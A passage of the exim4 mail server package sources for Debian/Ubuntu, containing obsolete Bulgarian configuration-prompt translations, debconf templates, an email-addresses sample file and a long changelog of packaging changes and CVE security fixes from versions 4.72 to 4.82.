"" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Ако има още, въведете ги тук, разделени с двуеточие. Можете да оставите " #~ "това поле празно, ако няма повече." #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "" #~ "Моля, въведете тук домейните, пощата за които искате да препредавате " #~ "(relay)." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Такива домейни са тези, за които вие сте подготвени да приемате поща от " #~ "Интернет. Не споменавайте локалните домейни тук." #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "Домейните, които въвеждате тук, трябва да са разделени с двуеточие. " #~ "Звездички и въпросителни също могат да бъдат използвани." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Тъй като сте активирали скриването на локалното пощенско име в изходящата " #~ "поща, трябва да зададете име на домейн, което да бъде използвано за " #~ "пощата от локалните потребители. Обикновено това е машината, на която " #~ "нормално получавате Вашата поща." #~ msgid "Where will your users read their mail?" #~ msgstr "Къде Вашите потребители ще четат тяхната поща?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "" #~ "Машина, която обработва изходящата поща на тази система (smarthost):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "" #~ "Въведете име на хост на машината, на която ще се изпраща изходящата поща." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Активирайте тази възможност, ако използвате Dial-on-Demand; иначете я " #~ "изключете." #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "Изберете тип на настройката, който най-добре отразява Вашите нужди." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "Ако не сте сигурен, не разделяйте настройките." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "ръчно преобразуване от ръчната настройката на Exim v3" #~ msgid "Configure Exim4 manually?" #~ msgstr "Ръчно настройване на Exim4?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Задали сте, че имате ръчна настройка на Exim 3. За да я преобразувате за " #~ "Exim 4, можете да използвате инструмента exim_convert4r4(8) след " #~ "инсталацията. Обърнете се към usr/share/doc/exim4-base/examples/example." #~ "conf.gz и /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "Докато Вашата пощенска система не се настрои, тя ще бъде развалена и няма " #~ "да може да се използва." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "Вашето \"пощенско име\" е частта за името на хоста от адреса, който ще " #~ "бъде показван в излизащите от системата новини или пощенски съобщения " #~ "(след потребителското име и знака @), освен ако не се скрие чрез " #~ "пренаписване (rewriting)." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Моля, въведете мрежите на локалните машини, пощата на които приемате да " #~ "препредавате (relay)." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "Това трябва да включва всички машини, които ще ни използват за smarthost." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "Трябва да удвоявате двуеточията на IPv6 адресите (например " #~ "5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Въведете разделен с двуеточие списък от IP адреси, на които да се слуша. " #~ "Трябва да удвоявате двуеточията на IPv6 адресите (например " #~ "5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "Настройка на Exim v4 (exim4-config)" debian/exim4-daemon-heavy.templates0000644000000000000000000000037312027557533014523 0ustar Template: exim4-daemon-heavy/drec Type: error _Description: Reconfigure exim4-config instead of this package Exim4 has its configuration factored out into a dedicated package, exim4-config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'. debian/exim4-base.install0000644000000000000000000000004712200230010012471 0ustar debian/script usr/share/bug/exim4-base debian/exim4.templates0000644000000000000000000000035612027557533012151 0ustar Template: exim4/drec Type: error _Description: Reconfigure exim4-config instead of this package Exim4 has its configuration factored out into a dedicated package, exim4-config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'. debian/exim4-base.templates0000644000000000000000000000131712027557533013057 0ustar Template: exim4/purge_spool Type: boolean Default: false _Description: Remove undelivered messages in spool directory? There are e-mail messages in the Exim spool directory /var/spool/exim4/input/ which have not yet been delivered. Removing Exim will cause them to remain undelivered until Exim is re-installed. . If this option is not chosen, the spool directory is kept, allowing the messages in the queue to be delivered at a later date after Exim is re-installed. Template: exim4-base/drec Type: error _Description: Reconfigure exim4-config instead of this package Exim4 has its configuration factored out into a dedicated package, exim4-config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'. debian/email-addresses0000644000000000000000000000047012027557533012165 0ustar # This is /etc/email-addresses. It is part of the exim package # # This file contains email addresses to use for outgoing mail. Any local # part not in here will be qualified by the system domain as normal. # # It should contain lines of the form: # #user: someone@isp.com #otheruser: someoneelse@anotherisp.com debian/exim4-config.examples0000644000000000000000000000002112027557533013221 0ustar debian/e-n-if-up debian/changelog0000644000000000000000000064023713237642717011070 0ustar exim4 (4.82-3ubuntu2.4) trusty-security; urgency=medium * SECURITY UPDATE: Buffer overflow in base64d() - debian/patches/CVE-2018-6789.patch: fix overflow in src/auths/b64decode.c. - CVE-2018-6789 -- Marc Deslauriers Sat, 10 Feb 2018 14:19:43 -0500 exim4 (4.82-3ubuntu2.3) trusty-security; urgency=medium * SECURITY UPDATE: memory leak - debian/patches/CVE-2017-1000368.patch: free -p argument if allocation was required. - CVE-2017-1000368 -- Steve Beattie Fri, 02 Jun 2017 22:44:35 -0700 exim4 (4.82-3ubuntu2.2) trusty-security; urgency=medium * SECURITY UPDATE: DKIM information leakage - debian/patches/CVE-2016-9963.patch: fix information leakage in src/dkim.c, src/transports/smtp.c. - CVE-2016-9963 -- Marc Deslauriers Thu, 05 Jan 2017 08:31:06 -0500 exim4 (4.82-3ubuntu2.1) trusty-security; urgency=medium * SECURITY UPDATE: privilege escalation via crafted lookup value - debian/patches/CVE-2014-2972.patch: only expand integers for integer math once. - CVE-2014-2972 * SECURITY UPDATE: privilege escalation when used with perl_startup - debian/patches/CVE-2016-1531.patch: add new add_environment and keep_environment configuration options. - debian/patches/CVE-2016-1531-2.patch: don't issue env warning if env is empty. - debian/patches/CVE-2016-1531-3.patch: store the initial working directory, expand $initial_cwd. - debian/patches/CVE-2016-1531-4.patch: delay chdir(/) until we opened the main config. - Add macros MAIN_KEEP_ENVIRONMENT and MAIN_ADD_ENVIRONMENT to set the new options. Set "keep_environment =" by default to avoid a runtime warning. - Bump exim4-config Breaks to exim4-daemon-* (<< 4.82-3ubuntu2.1). - debian/exim4-config.NEWS: Add entry to warn of potential breakage. - CVE-2016-1531 * WARNING: This update may break existing installations. -- Marc Deslauriers Mon, 14 Mar 2016 12:57:00 -0400 exim4 (4.82-3ubuntu2) trusty; urgency=medium * debian/tests/control: Add missing python test dependency, as debian/tests/security calls python. -- Martin Pitt Tue, 25 Feb 2014 17:33:13 +0100 exim4 (4.82-3ubuntu1) trusty; urgency=low * Merge from Debian unstable (LP: #1259620). Remaining changes: - Show Ubuntu distribution on smtp: + debian/patches/fix_smtp_banner.patch: updated SMTP banner with Ubuntu distribution + debian/control: added lsb-release build dependency - Don't provide default-mta; in Ubuntu, we want postfix to be the default. - Build-depend on db5.3. -- Yolanda Robla Tue, 10 Dec 2013 17:07:20 +0000 exim4 (4.82-3) unstable; urgency=low * Upload to unstable. -- Andreas Metzler Wed, 27 Nov 2013 19:51:26 +0100 exim4 (4.82-2) experimental; urgency=low * Pull two post-release fixes from upstream git master: + 75_unbind-ldap-connection.diff - Only unbind ldap connection if bind succeeded. + 77_close-the-server-side-of-TLS.diff - Correctly close the server side of TLS when forking for delivery. * Pull 76_fix_ldap_option_setting.diff from Todd Lyons testing tree. See . -- Andreas Metzler Sat, 09 Nov 2013 17:24:59 +0100 exim4 (4.82-1) experimental; urgency=low * New upstream stable release. * Drop exim4-config_files.5 symlinks for local_host_whitelist and local_sender_whitelist, add symlinks for host_local_deny_exceptions and sender_local_deny_exceptions instead. Closes: #661365 -- Andreas Metzler Sat, 09 Nov 2013 11:52:58 +0100 exim4 (4.82~rc5-1) experimental; urgency=low * New upstream version. -- Andreas Metzler Sat, 26 Oct 2013 08:50:58 +0200 exim4 (4.82~rc3-1) experimental; urgency=low * New upstream version. + TL/15 Fix exiqsumm summary for corner case. Patch provided by Richard Hall. + TL/16 Bugzilla 1289 - Clarify host/ip processing when have errors looking up a hostname or reverse DNS when processing a host list. Used suggestions from multiple comments on this bug. + TL/17 Bugzilla 1057 - Multiple clamd TCP targets patch from Mark Zealey. * Add macros for sending a client certificate on outgoing TLS connections. (REMOTE_SMTP_TLS_CERTIFICATE/REMOTE_SMTP_PRIVATEKEY, REMOTE_SMTP_SMARTHOST_TLS_CERTIFICATE/REMOTE_SMTP_SMARTHOST_PRIVATEKEY) Closes: #677826 -- Andreas Metzler Sat, 12 Oct 2013 09:30:28 +0200 exim4 (4.82~rc2-1) experimental; urgency=low * exim-gencert: Generate 2048bit key by default. LP: #1200581 * New upstream version. + Drop 80_addmanuallybuiltdocs.diff -- Andreas Metzler Thu, 03 Oct 2013 19:24:59 +0200 exim4 (4.82~rc1-1) experimental; urgency=low * New upstream version. + TL/02 Add +smtp_confirmation as a default logging option. Closes: #649600 + JH/05 Permit multiple router/transport headers_add/remove lines. Closes: #276126 + See /usr/share/doc/exim4-base/NewStuff.gz for other newly added features. * Upload to experimental. * Drop unnecessary patches (30_dontoverridecflags.dpatch 75_openssl_sni.diff 76_tls_dh_min_bits.diff 77_docsfortls_dh_min_bits.diff 78_pkcs11_init.diff 84_CVE-2012-5671.patch 85_server_set_id_SPA.diff 86_Dovecot-robustness.diff 87_localinjected_mimeacl.diff), unfuzz patches. * Applying upstream's default configuration updates to Debian configuration change 30_exim4-config_examples to use tls_in_cipher/tls_out_cipher instead of tls_out_cipher. - exim4-config therefore Breaks exim daemon << 4.82~rc1. * 80_addmanuallybuiltdocs.diff: Upstream rc tarball ships empty filter.txt and spec.txt, replace these with correct handbuilt versions. -- Andreas Metzler Sun, 29 Sep 2013 14:43:25 +0200 exim4 (4.80-9ubuntu2) trusty; urgency=low * Build-depend on libdb5.3-dev, instead of libdb5.1-dev. -- Dmitrijs Ledkovs Mon, 04 Nov 2013 12:14:54 +0000 exim4 (4.80-9ubuntu1) trusty; urgency=low * Resynchronise with Debian. Remaining changes: - Don't provide default-mta; in Ubuntu, we want postfix to be the default. - Add "Ubuntu" to SMTP banner. -- Colin Watson Mon, 28 Oct 2013 11:55:21 -0700 exim4 (4.80-9) unstable; urgency=low * Upload to unstable. -- Andreas Metzler Sat, 14 Sep 2013 08:05:18 +0200 exim4 (4.80-8) experimental; urgency=low * Import updated watchfile by Bart Martens. (Handles more compression types and x.y.revision versioning.) * In initscript invoke pidofproc with a pathname argument as it is documented in LSB and required by lsb-base (>= 4.1+Debian9). Closes: #693696, #718871 * Improve exim4-config_files.5 and README.Debian - Warn about unresolvable items in host lists. Closes: #627988 * Drop support for "/etc/init.d/exim4 what". It offers zero benefit to invoking exiwhat directly and throws an error mesage, too. (Thanks Regid Ichira for the diagnosis.) Closes: #643720 * Set "host_find_failed = ignore" (instead of defer) on smarthost and hub_user_smarthost router. Now if one (of the possibly multiple) listed smarthosts is not resolvable (NXDOMAIN) ignores it and and tries the next listed one. If all listed hosts are unresolvable the mail is still defered, since host_all_ignored is set to defer by default. Therefore the behavior does not change for single-smarthost systems. Closes: #658878 * Remove obsolete conffile /etc/cron.monthly/exim4-base which was only shipped in 4.69-3. Closes: #689334 * Update exim_db.8, syncing against spec.txt from exim 4.80. * 87_localinjected_mimeacl.diff from upstream GIT. When injecting a message locally in non-SMTP mode, and with MIME ACLs configured, if the ACL rejected the message, Exim would try to `fprintf(NULL, "%s", the_message)`. This fixes that. * [lintian] Escape some dashes in exim4-config_files.5. * Point vcs-* to anonscm. * Remove pidfile after stopping the daemon, exim does not remove it itself. Closes: #702988 * eu.po: Fix last reference to /usr/share/doc/exim4-base/README.Debian (without either .html or .gz suffix). Closes: #394975 * Merge autopkgtests from Ubuntu (Thanks Yolanda Robla for the pointer) Closes: #710018 + tests/CVE-2010-4344.py is GPLv2 - Add license header. + tests/daemon and tests/security do not use bashisms, change shebang to /bin/sh. * Upload to experimental, due to perl transition. -- Andreas Metzler Sun, 01 Sep 2013 15:58:49 +0200 exim4 (4.80-7ubuntu4) trusty; urgency=low * Rebuild for Perl 5.18. -- Colin Watson Wed, 23 Oct 2013 10:24:08 +0100 exim4 (4.80-7ubuntu3) saucy; urgency=low * debian/patches/fix_smtp_banner.patch: updated SMTP banner with Ubuntu distribution * debian/control: added lsb-release build dependency -- Yolanda Robla Tue, 18 Jun 2013 19:17:43 +0200 exim4 (4.80-7ubuntu2) saucy; urgency=low * debian/tests: Add autopkgtest. -- Yolanda Mon, 27 May 2013 11:31:35 +0200 exim4 (4.80-7ubuntu1) raring; urgency=low * Merge from Debian unstable (LP: #1166383). Remaining changes: - debian/control: Don't declare a Provides: default-mta; in Ubuntu, we want postfix to be the default. -- Robie Basak Mon, 08 Apr 2013 18:13:15 +0100 exim4 (4.80-7) unstable; urgency=low * Use exim's ${quote:xxx} operator when invoking spfquery to disallow bypassing of SPF validation by using special mailbox names. (Thanks to Lekensteyn for diagnosis and testing.) Closes: #697057 -- Andreas Metzler Wed, 02 Jan 2013 19:37:21 +0100 exim4 (4.80-6) unstable; urgency=low * Cherrypick two changes from GIT: + 85_server_set_id_SPA.diff: server_set_id was not stored in $authenticated_id when using SPA authentication. http://article.gmane.org/gmane.mail.exim.user/92181 + 86_Dovecot-robustness.diff: robustness fixes for the Dovecot authenticator. -- Andreas Metzler Wed, 21 Nov 2012 19:08:53 +0100 exim4 (4.80-5.1ubuntu1) raring; urgency=low * Merge from Debian. Remaining changes: - debian/control: Don't declare a Provides: default-mta; in Ubuntu, we want postfix to be the default. -- Oussama Bounaim Sun, 11 Nov 2012 07:11:06 +0100 exim4 (4.80-5.1) unstable; urgency=high * Non-maintainer upload by the Security Team. * CVE-2012-5671: Fix heap-based buffer overflow in DKIM handling. -- Nico Golde Thu, 25 Oct 2012 20:11:11 +0200 exim4 (4.80-5) unstable; urgency=low * Fix grammar error in debian/manpages/exim4-config_files.5. (Thanks, Regid Ichira) * Fix hardening support. (Thanks, Simon Ruderich) + Append $(CPPFLAGS) to CFLAGS, the exim buildsystem does not use it. + Set LFLAGS += $(LDFLAGS) in debian/rules. Closes: #687645 * Correct typo in Russian debconf translation. (Thanks, Krasu) Closes: #683385 * Point Vcs-* to git repository. -- Andreas Metzler Sun, 23 Sep 2012 12:20:16 +0200 exim4 (4.80-4) unstable; urgency=low * Disable autoloading of PKCS#11 modules. Closes: #678238 -- Andreas Metzler Sat, 23 Jun 2012 18:35:03 +0200 exim4 (4.80-3ubuntu1.1) quantal-security; urgency=low * SECURITY UPDATE: arbitrary code execution via dns decode logic - debian/patches/CVE-2012-5671.patch: adjust max length and validate against it in src/pdkim/pdkim.h, src/dkim.c. - CVE-2012-5671 -- Marc Deslauriers Thu, 25 Oct 2012 08:22:46 -0400 exim4 (4.80-3ubuntu1) quantal; urgency=low * Merge from Debian unstable. Remaining changes: - debian/control: Don't declare a Provides: default-mta; in Ubuntu, we want postfix to be the default. -- Clint Byrum Thu, 14 Jun 2012 15:28:08 -0700 exim4 (4.80-3) unstable; urgency=low * Pull 75_openssl_sni.diff from upstream. - Segfault caused by NULL dereference if Exim is built using OpenSSL, tls_sni is used and a forced expansion failure is configured. * Pull 76_tls_dh_min_bits.diff (and the corresponding doc change 77_docsfortls_dh_min_bits.diff) from upstream. Adds a new SMTP transport option tls_dh_min_bits for setting the minimal size of DH parameters. * Add macro TLS_DH_MIN_BITS for setting the tls_dh_min_bits smtp transport option. Closes: #676563 * [lintian] Stop shipping empty directory /usr/share/exim4 in exim4-base. -- Andreas Metzler Fri, 08 Jun 2012 12:37:05 +0200 exim4 (4.80-2) unstable; urgency=low * [Brown paper bag] actually target unstable in changelog. -- Andreas Metzler Sun, 03 Jun 2012 17:24:05 +0200 exim4 (4.80-1) experimental; urgency=low * New upstream version, identical to rc7. * Add a missing piece of documentation to update-exim4.conf.8. DCreadhost is not only used for rewriting, in satellite setup it is also the host where local mail is delivered to. (Thanks, Regid Ichira). Closes: #675712 -- Andreas Metzler Sun, 03 Jun 2012 16:49:51 +0200 exim4 (4.80~rc7-1) experimental; urgency=low * New upstream version. * Let debian/EDITME.openssl.exim4-light.diff apply again. -- Andreas Metzler Tue, 29 May 2012 19:33:07 +0200 exim4 (4.80~rc6-1) experimental; urgency=low * Ship newly available GnuTLS-FAQ.txt in exim4-base. * Upstream's handling of GnuTLS DH parameters has changed, hardcoded parameters (from RFCs are used by default. See /usr/share/doc/exim4-base/README.UPDATING* for details. Stop shipping /usr/share/exim4/exim4_refresh_gnutls-params /usr/share/exim4/timeout.pl and /var/spool/exim4/gnutls-params-2236. -- Andreas Metzler Sun, 27 May 2012 18:46:48 +0200 exim4 (4.80~rc5-1) experimental; urgency=low * New upstream version. -- Andreas Metzler Thu, 24 May 2012 20:20:24 +0200 exim4 (4.80~rc4-1) experimental; urgency=low * New upstream version. + Unfuzz 50_localscan_dlopen.dpatch + Drop 80_revert_stringformatprintf.diff, superseded upstream. + Default DH param size switched to 2236 for NSS compat. Update generation script and shipped parameters. -- Andreas Metzler Mon, 21 May 2012 20:00:18 +0200 exim4 (4.80~rc2-1) experimental; urgency=low * Fix typo in retry/30_exim4-config (s/frequenzy/frequency/) (Thanks, Regid Ichira). Closes: #646338 * dpkg-buildflags supersedes hardening-wrapper. set DEB_BUILD_MAINT_OPTIONS := hardening=+bindnow,+pie to use features enabled by hardening-wrapper by default. Make sure to always set -Wall. * List mapppings between debconf choices ("mail sent by smarthost; no local mail" et al.) and corresponding values of the DC_eximconfig_configtype macro in update-exim4.conf(8). Closes: #651883 * README.Debian.*: Correct documentation of the lowuid_aliases router. - The macro is named FIRST_USER_ACCOUNT_UID instead of FIRST_USER_UID. (Thanks, Yubao Liu) Closes: #653058 * add more verbose help to /etc/default/exim4. Closes: #653272 * Updated French debconf templates translation. (thanks for proofreading, debian-l10n-french!) Closes: #668475 * Fix typo usualy in update-exim4.conf.8. * Add source lintian override (debian/source/lintian-overrides) for binaries-have-file-conflict exim4-daemon-heavy-dbg exim4-daemon-light-dbg. *-daemon-dbg depends on the respective -daemon, and the daemon-packages conflict with each other. * New upstream version: + Unfuzz patches + Update 66_enlarge-dh-parameters-size.dpatch. This is now a noop if built against gnutls >= 2.12. + Default DH param size is 2432, update generation script and shipped parameters. + Unfuzz/update */EDITME/*. Update debian/example.conf.md5. + 80_revert_stringformatprintf.diff. Do not mark string_format() as PRINTF_FUNCTION(3,4) to allow compilation with -Wformat -Werror=format-security + Sets accept_8bitmime = true by default. Closes: #445013 + Uses GnuTLS priority string for configuration. (See NEWS.Debian) Closes: #624041 -- Andreas Metzler Sun, 20 May 2012 15:57:15 +0200 exim4 (4.77-1) unstable; urgency=low * Fix typo in exim4-config_files.5. (Thanks, Regid Ichira) Closes: #645283 * New upstream stable release. (No major changes compared to rc4) * Upload to unstable. -- Andreas Metzler Sat, 22 Oct 2011 18:00:11 +0200 exim4 (4.77~rc4-1) experimental; urgency=low * New upstream release candidate. + drop patches included in this release. (80_gnutls_certificate_verify_peers2.diff 80_gnutls_initrc.diff 80_TLS1.2-and-TLS1.1-support.diff) + New expansion conditions, "inlist", "inlisti". + Exim no longer performs string expansion on the second string of the match_* expansion conditions: "match_address", "match_domain", "match_ip" & "match_local_part". Named lists can still be used. The previous behavior made it too easy to create (remotely) vulnerable configurations. A more detailed rationale and explanation can be found on https://lists.exim.org/lurker/message/20111003.122326.fbcf32b7.en.html + doc/pcrepattern.txt is not shipped anymore as part of the exim tarball (and therefore the Debian package suite.) * Make use of /usr/share/dpkg/buildflags.mk if available. * Change build system to build each binary variant in a separate copy of the source tree instead of re-using the copy and moving away the results after build. The old approach stopped working since upstream added a dependency on make all to make install. - As we were changing parts of tree (Local/Makefile) after the build this caused an (incorrect) rebuild on make install. -- Andreas Metzler Sat, 08 Oct 2011 13:07:35 +0200 exim4 (4.76-4) experimental; urgency=low * 80_TLS1.2-and-TLS1.1-support.diff (pulled from upstream GIT gnutls_fixes branch): Enable TLS1.2 and TLS1.1 * 80_gnutls_certificate_verify_peers2.diff, 80_gnutls_initrc.diff (pulled from upstream GIT gnutls_fixes branch): Use gnutls_certificate_verify_peers2() instead of gnutls_certificate_verify_peers(). The deprecated function was dropped in GnuTLS 3.x. Closes: #624082 -- Andreas Metzler Sat, 24 Sep 2011 18:36:08 +0200 exim4 (4.76-3ubuntu3) precise; urgency=low * Rebuild for libmysqlclient transition -- Clint Byrum Wed, 23 Nov 2011 23:29:35 -0800 exim4 (4.76-3ubuntu2) precise; urgency=low * Rebuild for Perl 5.14. -- Colin Watson Wed, 16 Nov 2011 01:22:39 +0000 exim4 (4.76-3ubuntu1) precise; urgency=low * Merge from debian unstable. Remaining changes: - debian/control: Don't declare a Provides: default-mta; in Ubuntu, we want postfix to be the default. -- Stéphane Graber Thu, 20 Oct 2011 11:29:07 -0400 exim4 (4.76-3) unstable; urgency=low * [exim4-base.cron.daily] Correct invocation of mail(1), options need to be specified before arguments for compatibility with heirloom-mailx (Thanks, Andreas Schiweck). Closes: #629314 * [exim4-base.exim4.init] Use echo instead of log_failure_msg for the panic log warning. Closes: #629610 * [exim4-base.postinst] Also take care of ratelimit db on bdbd upgrades. Closes: #630985 * Update Debian exim webpage URL. Closes: #641126 * Do not run upgrade test for 4.67-5 on exim4.conf.template if split config is used and vice versa. Closes: #577633 * [lintian] Do not specify priority in binary package stanzas, unless it deviates from the source package priority setting. * [lintian] Drop unused lintian override binary-without-manpage usr/sbin/exim. * [lintian] Improve on short descriptions of *-dbg packages. -- Andreas Metzler Sun, 18 Sep 2011 11:49:13 +0200 exim4 (4.76-2ubuntu1) oneiric; urgency=low * Merge from debian unstable. Remaining changes: - debian/control: Don't declare a Provides: default-mta; in Ubuntu, we want postfix to be the default. -- Stéphane Graber Mon, 30 May 2011 17:48:56 -0400 exim4 (4.76-2) unstable; urgency=low * debian/rules: Remove test/ and test-stamp on clean. * Handle BerkeleyDB upgrades more gracefully. Instead of checking Debian version numbers compare DB-version of old exim (stored by postinst in /var/lib/exim4/berkeleydbvers.txt) with currently used DB-version (hardcoded at build time in exim4-base.postinst). * [exim4-base.postinst exim4-config.postinst] Do away with unnecessary chowns by dropping them or limiting to upgrades from 4.30. -- Andreas Metzler Sun, 29 May 2011 18:21:03 +0200 exim4 (4.76-1ubuntu1) oneiric; urgency=low * Merge from debian unstable. Remaining changes (LP: #779391): - debian/control: Don't declare a Provides: default-mta; in Ubuntu, we want postfix to be the default. -- Stéphane Graber Mon, 23 May 2011 12:37:30 -0400 exim4 (4.76-1) unstable; urgency=low * New upstream version. * Drop 80_match_isinlist.diff (included upstream). -- Andreas Metzler Mon, 09 May 2011 19:12:09 +0200 exim4 (4.76~RC1-3) experimental; urgency=low * 80_match_isinlist.diff pulled from upstream git. -- Andreas Metzler Sun, 08 May 2011 14:44:20 +0200 exim4 (4.76~RC1-2) experimental; urgency=low * Fix testsuite error. * Disable verification of DKIM signatures if DC_minimaldns or the (newly added) DISABLE_DKIM_VERIFY macro are set. Closes: #609764 * [lintian] Drop useless comments from debian/watch. -- Andreas Metzler Sun, 08 May 2011 08:58:24 +0200 exim4 (4.76~RC1-1) experimental; urgency=low * New upstream version. * Drop superfluous patches. 80_ldap_require_cert-work.diff 81_negatebool.diff 82_dkimpercent.diff * [Lintian] Fix grammar error in manpage (spelling-error-in-manpage update-exim4defaults.8.gz allows to allows one to). * [debian/minimaltest]: Added. Try to run a minimal functionality test after building exim. (Currently only supported if the build-system has a Debian-exim user.) -- Andreas Metzler Fri, 06 May 2011 20:27:56 +0200 exim4 (4.75-3) unstable; urgency=high * [debian/rules] Fix dependencies and targets, speeding up package build. Previously everything was compiled twice. * Patches pulled from upstream git: +81_negatebool.diff Negating the $bool expansion condition did not work. +82_dkimpercent.diff dkim sig logged to paniclog. Closes: #624670 (CVE-2011-1764) -- Andreas Metzler Fri, 06 May 2011 20:08:51 +0200 exim4 (4.75-2ubuntu1) oneiric; urgency=low * Merge from debian unstable. Remaining changes: - debian/control: Don't declare a Provides: default-mta; in Ubuntu, we want postfix to be the default. -- Stéphane Graber Fri, 06 May 2011 14:51:28 -0400 exim4 (4.75-2) unstable; urgency=low * clamav socket on Debian is clamd:/var/run/clamav/clamd.ctl, fix configuration example accordingly. (Thanks, Roman V. Nikolaev) Closes: #622111 * Use on libdb5.1-dev (instead of 4.8), zap hints db on upgrade from <= 4.75-1. Closes: #621388 * Enable hardening options. (Last difference to Ubuntu except for not being the default-mta there.) Closes: #542726 -- Andreas Metzler Sat, 16 Apr 2011 14:45:36 +0200 exim4 (4.75-1) unstable; urgency=low * New upstream version. * 80_ldap_require_cert-work.diff Pulled from upstream git. The new ldap_require_cert option would segfault if used. -- Andreas Metzler Mon, 28 Mar 2011 19:24:55 +0200 exim4 (4.75~rc3-1) experimental; urgency=low * New upstream version. -- Andreas Metzler Thu, 03 Mar 2011 19:10:06 +0100 exim4 (4.75~rc2-1) experimental; urgency=low * New upstream version. + Fixes exiqgrep "Line mismatch" error on messages without size info. Closes: #528625 + Restore default SIGPIPE handler for child_open_uid. Closes: #573779 * Enable verbose compilation. -- Andreas Metzler Sun, 27 Feb 2011 11:59:45 +0100 exim4 (4.74-2) unstable; urgency=low * Upload to unstable. -- Andreas Metzler Thu, 24 Feb 2011 19:02:07 +0100 exim4 (4.74-1ubuntu1) natty; urgency=low * Merge from debian experimental. Remaining changes: (LP: #713855) - debian/patches/71_exiq_grep_error_on_messages_without_size.patch: + Improve handling of broken messages when "exim4 -bp" (mailq) reports lines without size info. (Closes: #528625) - debian/control: Don't declare a Provides: default-mta; in Ubuntu, we want postfix to be the default. - debian/{control,rules}: Add and enable hardened build for PIE. (Closes: #542726) * Update 71_exiq_grep_error_on_messages_without_size.patch to get way which upstream has fixed it. Probably it can be dropped with next upstream release. * This upload fixes CVE: (LP: #708023) - CVE-2011-0017 -- Artur Rona Wed, 09 Feb 2011 21:31:35 +0100 exim4 (4.74-1) experimental; urgency=low * 4.74 release, should build on hurd again. * Fix some lintian --pedantic issues: copyright-refers-to-symlink-license maintainer-script-without-set-e debian-control-has-unusual-field-spacing -- Andreas Metzler Sat, 29 Jan 2011 15:39:51 +0100 exim4 (4.74~rc2-1) experimental; urgency=low * In spf example use spf-tools-perl's spfquery instead of the one from libmail-spf-query-perl. Do not try to use unimplemented best-guess support. Update Suggests accordingly. Closes: #608336 * Add headers in ACL by using the add_header modifier instead of "message". (This modifier has been available since 4.61.) Closes: #609308 * New upstream version. + includes the fix for CVE-2011-0017 + If a non-debug daemon was invoked with a non-whitelisted macro, then logs from after attempting delivery would be silently lost, including for successful delivery. This log-loss bug was introduced in 4.73 as part of the security lockdown. Closes: #610611 + Update some patches. -- Andreas Metzler Sun, 23 Jan 2011 14:02:36 +0100 exim4 (4.73~rc1-1ubuntu1) natty; urgency=low * Merge from debian unstable. Remaining changes: (LP: #697934) - debian/patches/71_exiq_grep_error_on_messages_without_size.patch: + Improve handling of broken messages when "exim4 -bp" (mailq) reports lines without size info. - debian/control: Don't declare a Provides: default-mta; in Ubuntu, we want postfix to be the default. - debian/{control,rules}: Add and enable hardened build for PIE. (Closes: #542726) * Drop B-D on libmysqlclient15-dev, resolved in Debian. -- Artur Rona Tue, 28 Dec 2010 22:20:17 +0100 exim4 (4.73~rc1-1) experimental; urgency=low * New upstream release candidate. * Drop included patches. 80_4.73rc1_*, 40_dkimnotinpaniclog.diff. * Update 31_eximmanpage.dpatch. * exim4 now uses INSTREAM (added in clamav 0.95) instead of STREAM when talking to clamav. exim4-daemon-heavy therefore Breaks: clamav-daemon (<< 0.95). * Unfuzz EDITME*diff. * Dependency changes: + Drop exim4-config's conflicts with bash (<< 2.05). This was relevant pre-sarge. + Drop exim4-daemon-* dependency on exim4-base (>> 4.71-2). This one is superfluous because of of the dependency on exim4-base (>= ${Upstream-Version}). + exim4-config breaks instead of conflicts with pre-DKIM (i.e. << 4.69.1) exim4-daemon. + exim4-base breaks instead of conflicts with <<${Upstream-Version} daemon packages. * Add Vcs-Svn and Vcs-Browser fields to debian/control. * Build depend on libmysqlclient-dev | libmysqlclient15-dev instead of libmysqlclient15-dev. libmysqlclient-dev is not a virtual package anymore. Closes: #590218 * Use db_settitle unconditionally, even etch supports this. Drop unneeded lintian override exim4-config: settitle-requires-versioned-depends. -- Andreas Metzler Mon, 27 Dec 2010 19:48:19 +0100 exim4 (4.72-6) unstable; urgency=high * 80_4.74_filtertesting.diff: Do not abort when setgid fails if privileges were dropped. This fixes a regression from 